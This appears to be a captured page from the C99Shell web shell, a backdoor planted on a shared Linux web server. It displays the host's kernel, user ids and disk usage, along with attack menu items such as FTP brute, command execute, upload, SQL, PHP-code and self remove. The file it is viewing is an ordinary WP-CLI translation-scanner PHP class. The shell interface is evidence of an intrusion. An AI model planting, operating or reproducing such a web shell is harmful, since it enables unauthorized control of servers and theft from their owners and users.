!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/i18n-command/src/   drwxr-xr-x
Free 708.32 GB of 879.6 GB (80.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PhpFunctionsScanner.php (2.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\I18n;

use Gettext\Utils\PhpFunctionsScanner as GettextPhpFunctionsScanner;

class PhpFunctionsScanner extends GettextPhpFunctionsScanner {

    /**
     * {@inheritdoc}
     */
    public function saveGettextFunctions( $translations, array $options ) {
        // Ignore multiple translations for now.
        // @todo Add proper support for multiple translations.
        if ( is_array( $translations ) ) {
            $translations = $translations[0];
        }

        $functions     = $options['functions'];
        $file          = $options['file'];
        $add_reference = ! empty( $options['addReferences'] );

        foreach ( $this->getFunctions( $options['constants'] ) as $function ) {
            list( $name, $line, $args ) = $function;

            if ( ! isset( $functions[ $name ] ) ) {
                continue;
            }

            $original = null;
            $domain   = null;
            $context  = null;
            $plural   = null;

            switch ( $functions[ $name ] ) {
                case 'text_domain':
                case 'gettext':
                    list( $original, $domain ) = array_pad( $args, 2, null );
                    break;

                case 'text_context_domain':
                    list( $original, $context, $domain ) = array_pad( $args, 3, null );
                    break;

                case 'single_plural_number_domain':
                    list( $original, $plural, $number, $domain ) = array_pad( $args, 4, null );
                    break;

                case 'single_plural_number_context_domain':
                    list( $original, $plural, $number, $context, $domain ) = array_pad( $args, 5, null );
                    break;

                case 'single_plural_domain':
                    list( $original, $plural, $domain ) = array_pad( $args, 3, null );
                    break;

                case 'single_plural_context_domain':
                    list( $original, $plural, $context, $domain ) = array_pad( $args, 4, null );
                    break;

                default:
                    // Should never happen.
                    \WP_CLI::error( sprintf( "Internal error: unknown function map '%s' for '%s'.", $functions[ $name ], $name ) );
            }

            if ( '' === (string) $original ) {
                continue;
            }

            if ( $domain !== $translations->getDomain() && null !== $translations->getDomain() ) {
                continue;
            }

            $translation = $translations->insert( $context, $original, $plural );

            if ( $add_reference ) {
                $translation = $translation->addReference( $file, $line );
            }

            if (
                1 === preg_match( MakePotCommand::SPRINTF_PLACEHOLDER_REGEX, $original ) ||
                1 === preg_match( MakePotCommand::UNORDERED_SPRINTF_PLACEHOLDER_REGEX, $original )
            ) {
                $translation->addFlag( 'php-format' );
            }

            if ( isset( $function[3] ) ) {
                foreach ( $function[3] as $extracted_comment ) {
                    $translation = $translation->addExtractedComment( $extracted_comment );
                }
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0618 ]--